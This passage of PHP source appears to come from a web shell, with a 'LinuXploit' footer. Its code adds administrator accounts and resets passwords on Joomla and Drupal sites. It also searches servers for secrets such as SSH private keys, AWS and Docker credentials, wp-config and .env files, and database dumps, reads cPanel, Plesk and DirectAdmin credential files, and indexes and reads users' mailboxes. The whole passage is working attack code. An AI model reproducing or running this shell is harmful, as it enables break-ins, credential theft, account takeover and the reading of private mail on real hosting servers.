                emit(array('cms' => 'joomla', 'users' => joomla_list_users($db, $prefix)));
            }
            if ($op === 'set_pass') {
                if ($username === '' || $password === '') {
                    fail('username and password required', 400);
                }
                $done = joomla_set_password($db, $prefix, $username, $password);
                emit(array('cms' => 'joomla', 'changed' => (bool)$done,
                           'username' => $username));
            }
            if ($op === 'add_admin') {
                if ($username === '' || $password === '') {
                    fail('username and password required', 400);
                }
                $res = joomla_add_admin($db, $prefix, $username, $password, $email);
                if (!$res['ok']) {
                    fail('insert failed: ' . (isset($res['error']) ? $res['error'] : 'unknown'), 500);
                }
                emit(array('cms' => 'joomla', 'added' => $res));
            }
            fail('unknown op for joomla', 400);
        }

        if ($kind === 'drupal') {
            $cfg    = parse_drupal_settings($druFile);
            $prefix = isset($cfg['prefix']) ? $cfg['prefix'] : '';
            $port   = isset($cfg['port']) ? $cfg['port'] : '';
            $host   = isset($cfg['host']) ? $cfg['host'] : 'localhost';
            if ($port !== '') {
                $host .= ':' . $port;
            }
            $db = cms_db(
                $host,
                isset($cfg['username']) ? $cfg['username'] : '',
                isset($cfg['password']) ? $cfg['password'] : '',
                isset($cfg['database']) ? $cfg['database'] : ''
            );

            if ($op === 'set_pass') {
                if ($username === '' || $password === '') {
                    fail('username and password required', 400);
                }
                emit(array('cms' => 'drupal',
                           'result' => drupal_set_password($db, $prefix, $username, $password)));
            }
            if ($op === 'add_admin') {
                if ($username === '' || $password === '') {
                    fail('username and password required', 400);
                }
                $res = drupal_add_admin($db, $prefix, $username, $password, $email);
                if (!$res['ok']) {
                    fail('insert failed: ' . (isset($res['error']) ? $res['error'] : 'unknown'), 500);
                }
                emit(array('cms' => 'drupal', 'added' => $res));
            }
            fail('unknown op for drupal', 400);
        }

        fail('no supported CMS found in target_dir', 404);
        break;

    case 'creds':
        $roots = array();
        $rootsRaw = req('roots', '');
        if ($rootsRaw !== '') {
            $decoded = json_decode($rootsRaw, true);
            if (is_array($decoded)) {
                foreach ($decoded as $r) {
                    $roots[] = (string)$r;
                }
            } else {
                foreach (explode(',', $rootsRaw) as $r) {
                    $r = trim($r);
                    if ($r !== '') {
                        $roots[] = $r;
                    }
                }
            }
        }
        if (!$roots) {
            $roots = array(req('target_dir', store_dir()));
        }

        $depth = max(1, min(8, (int)req('depth', '3')));
        $max   = max(1, min(1000, (int)req('max', '300')));
        $wantRead = req_flag('read');

        $names = array(
            '.env', 'config.php', 'config.inc.php', 'wp-config.php', 'configuration.php',
            'settings.php', '.htaccess', '.netrc', '.pgpass', '.my.cnf', '.htpasswd',
            'composer.json', '.npmrc', '.pypirc', 'error_log', 'debug.log',
            'phpinfo.php', 'info.php', 'test.php',
        );
        $exts = array('sql', 'zip', 'tar', 'gz', 'tgz', 'bak', 'old', 'save', 'log', 'env');

        $want = function ($path) use ($names, $exts) {
            $base = basename($path);
            if (in_array($base, $names, true)) {
                return true;
            }
            if (preg_match('#/\.git/(config|HEAD)$#', $path)) {
                return true;
            }
            if (preg_match('#/\.ssh/(id_rsa|id_ed25519|id_ecdsa|authorized_keys|known_hosts)$#', $path)) {
                return true;
            }
            if (preg_match('#/\.aws/credentials$#', $path)) {
                return true;
            }
            if (preg_match('#/\.docker/config\.json$#', $path)) {
                return true;
            }
            $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
            if (in_array($ext, $exts, true) && @filesize($path) < 209715200) {
                return true;
            }
            if (preg_match('/dump|backup|\.sql\./i', $base)) {
                return true;
            }
            return false;
        };

        $paths = walk_files($roots, $depth, $max, $want);
        $items = array();
        foreach ($paths as $path) {
            $entry = array(
                'path'  => $path,
                'size'  => @filesize($path),
                'mtime' => @filemtime($path),
                'kind'  => pathinfo($path, PATHINFO_EXTENSION),
            );
            if ($wantRead) {
                $entry['content'] = read_text($path, READ_LIMIT);
            }
            $items[] = $entry;
        }

        emit(array('roots' => $roots, 'count' => count($items), 'items' => $items));
        break;

    case 'panel':
        $read = req_flag('read');
        $panel = detect_panel();

        $sources = array(
            'cpanel_users'       => @glob('/var/cpanel/users/*'),
            'cpanel_userdomains' => array('/etc/userdomains'),
            'cpanel_accesshash'  => array('/root/.accesshash'),
            'cpanel_home'        => @glob('/home/*/.cpanel'),
            'cpanel_ftpquota'    => @glob('/home/*/.ftpquota'),
            'proftpd_passwd'     => array('/etc/proftpd.passwd'),
            'cyberpanel_conf'    => @glob('/etc/cyberpanel/*'),
            'cybercp_root'       => array('/usr/local/CyberCP'),
            'plesk_shadow'       => array('/etc/psa/.psa.shadow'),
            'da_mysql'           => array('/usr/local/directadmin/conf/mysql.conf'),
            'vesta_users'        => @glob('/usr/local/vesta/data/users/*'),
            'hestia_users'       => @glob('/usr/local/hestia/data/users/*'),
            'cloudpanel_conf'    => @glob('/etc/cloudpanel/*'),
            'runcloud_conf'      => @glob('/etc/runcloud/*'),
            'aapanel_db'         => array('/www/server/panel/data/default.db'),
            'litespeed_conf'     => @glob('/usr/local/lsws/conf/*'),
        );

        $report = array();
        foreach ($sources as $label => $paths) {
            if (!$paths) {
                continue;
            }
            $rows = array();
            foreach ($paths as $path) {
                if (!@file_exists($path)) {
                    continue;
                }
                $row = array(
                    'path'     => $path,
                    'is_dir'   => @is_dir($path) ? 1 : 0,
                    'readable' => @is_readable($path) ? 1 : 0,
                    'writable' => @is_writable($path) ? 1 : 0,
                );
                if (!$row['is_dir']) {
                    $row['size'] = @filesize($path);
                    if ($read && $row['readable']) {
                        $row['content'] = read_text($path, 2048);
                    }
                }
                $rows[] = $row;
            }
            if ($rows) {
                $report[$label] = $rows;
            }
        }

        $ftp = array();
        $proftpd = @glob('/etc/proftpd.passwd');
        if ($proftpd) {
            foreach ($proftpd as $f) {
                $txt = read_text($f, 65536);
                if ($txt === null) {
                    continue;
                }
                $lines = preg_split('/\r?\n/', $txt);
                foreach ($lines as $line) {
                    if ($line === '' || $line[0] === '#') {
                        continue;
                    }
                    $parts = explode(':', $line);
                    if (count($parts) < 2) {
                        continue;
                    }
                    $ftp[] = array(
                        'user'  => $parts[0],
                        'home'  => isset($parts[5]) ? $parts[5] : '',
                        'shell' => isset($parts[6]) ? $parts[6] : '',
                    );
                }
            }
        }

        emit(array(
            'panel'     => $panel,
            'user'      => current_user(),
            'sources'   => $report,
            'ftp_users' => $ftp,
        ));
        break;

    case 'mail':
        $op = req('op', 'index');

        $mailRoots = array('/home', '/var/mail', '/var/vmail');
        $allowed = array();
        foreach ($mailRoots as $r) {
            if (@is_dir($r)) {
                $allowed[] = $r;
            }
        }

        if (!$allowed) {
            fail('no mail roots present', 404);
        }

        if ($op === 'index') {
            $boxes = array();
            $limit = max(1, min(2000, (int)req('max', '500')));

            $patterns = array(
                '/home/*/mail/*/*',
                '/var/mail/*',
                '/var/vmail/*/*/*',
            );
            foreach ($patterns as $pattern) {
                $dirs = @glob($pattern, GLOB_ONLYDIR);
                if (!$dirs) {
                    continue;
                }
                foreach ($dirs as $box) {
                    if (count($boxes) >= $limit) {
                        break;
                    }
                    $user   = basename($box);
                    $domain = basename(dirname($box));
                    $count  = 0;
                    $bytes  = 0;
                    $newest = 0;
                    foreach (array('new', 'cur') as $sub) {
                        $msgs = @glob($box . '/' . $sub . '/*');
                        if (!$msgs) {
                            continue;
                        }
                        foreach ($msgs as $msg) {
                            if (!@is_file($msg)) {
                                continue;
                            }
                            $count++;
                            $bytes += (int)@filesize($msg);
                            $mt = (int)@filemtime($msg);
                            if ($mt > $newest) {
                                $newest = $mt;
                            }
                        }
                    }
                    if ($count === 0) {
                        continue;
                    }
                    $boxes[] = array(
                        'domain' => $domain,
                        'user'   => $user,
                        'path'   => $box,
                        'count'  => $count,
                        'bytes'  => $bytes,
                        'newest' => $newest,
                    );
                }
            }

            usort($boxes, 'cmp_newest');

            $forwarders = array();
            $valias = @glob('/etc/valiases/*');
            if ($valias) {
                foreach ($valias as $f) {
                    $txt = read_text($f, 65536);
                    if ($txt !== null) {
                        $forwarders[basename($f)] = $txt;
                    }
                }
            }

            $virtual = array();
            foreach (array('/etc/virtual/domains', '/etc/virtual/valiases', '/etc/virtual/passwd') as $f) {
                if (@is_readable($f)) {
                    $virtual[$f] = read_text($f, 16384);
                }
            }

            emit(array(
                'op'         => 'index',
                'boxes'      => $boxes,
                'forwarders' => $forwarders,
                'virtual'    => $virtual,
            ));
        }

        if ($op === 'headers') {
            $box = req('box', '');
            if ($box === '' || !path_under($box, $allowed)) {
                fail('box outside mail roots', 400);
            }
            $limit = max(1, min(100, (int)req('max', '20')));
            $files = array();
            foreach (array('new', 'cur') as $sub) {
                $msgs = @glob(rtrim($box, '/') . '/' . $sub . '/*');
                if ($msgs) {
                    $files = array_merge($files, $msgs);
                }
            }
            usort($files, 'cmp_mtime_desc');
            $files = array_slice($files, 0, $limit);

            $rows = array();
            foreach ($files as $msg) {
                $head = read_text($msg, 4096);
                if ($head === null) {
                    continue;
                }
                $rows[] = array(
                    'path'    => $msg,
                    'size'    => @filesize($msg),
                    'mtime'   => @filemtime($msg),
                    'header'  => substr($head, 0, 2048),
                );
            }
            emit(array('op' => 'headers', 'box' => $box, 'messages' => $rows));
        }

        if ($op === 'read') {
            $path = req('path', '');
            if ($path === '' || !path_under($path, $allowed) || !@is_file($path)) {
                fail('path outside mail roots or not a file', 400);
            }
            $max = max(1024, min(65536, (int)req('max', '16384')));
            emit(array(
                'op'      => 'read',
                'path'    => $path,
                'size'    => @filesize($path),
                'content' => read_text($path, $max),
            ));
        }

        fail('unknown op; use index | headers | read', 400);
        break;

    default:
        fail('unknown action', 404);
}

Youez - 2016 - github.com/yon3zu
LinuXploit